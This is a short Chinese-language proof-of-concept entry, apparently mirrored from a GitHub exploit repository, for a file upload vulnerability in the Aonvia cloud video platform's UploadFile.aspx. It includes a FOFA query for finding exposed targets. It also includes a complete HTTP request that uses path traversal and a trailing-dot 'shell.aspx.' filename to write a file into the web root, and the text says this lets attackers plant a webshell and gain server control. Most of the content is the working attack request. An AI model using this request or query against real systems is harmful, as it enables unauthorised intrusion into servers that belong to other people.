mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
36 lines
1.0 KiB
Markdown
36 lines
1.0 KiB
Markdown
# 奥威亚云视频平台UploadFile.aspx存在文件上传漏洞
|
||
|
||
奥威亚云视频平台UploadFile.aspx存在文件上传漏洞，攻击者可上传webshell获取服务器权限。
|
||
|
||
## fofa
|
||
|
||
```yaml
|
||
body="/Upload/DomainInfo/MaxAVALogo.png"
|
||
```
|
||
|
||
## poc
|
||
|
||
```java
|
||
POST /Services/WeikeCutOut/UploadFile.aspx?VideoGuid=/../../ HTTP/1.1
|
||
Host:
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate, br
|
||
Content-Type: multipart/form-data; boundary=----sajhdjqwjejqwbejhqwbjebqwhje
|
||
|
||
------sajhdjqwjejqwbejhqwbjebqwhje
|
||
Content-Disposition: form-data; name="file"; filename="shell.aspx."
|
||
Content-Type: image/jpeg
|
||
|
||
1111
|
||
------sajhdjqwjejqwbejhqwbjebqwhje-
|
||
```
|
||
|
||
文件路径`http://ip/shell.aspx`
|
||
|
||
|
||
|
||
## 漏洞来源
|
||
|
||
- https://mp.weixin.qq.com/s/Kxmw41l8TK5jnaj63lyG0A |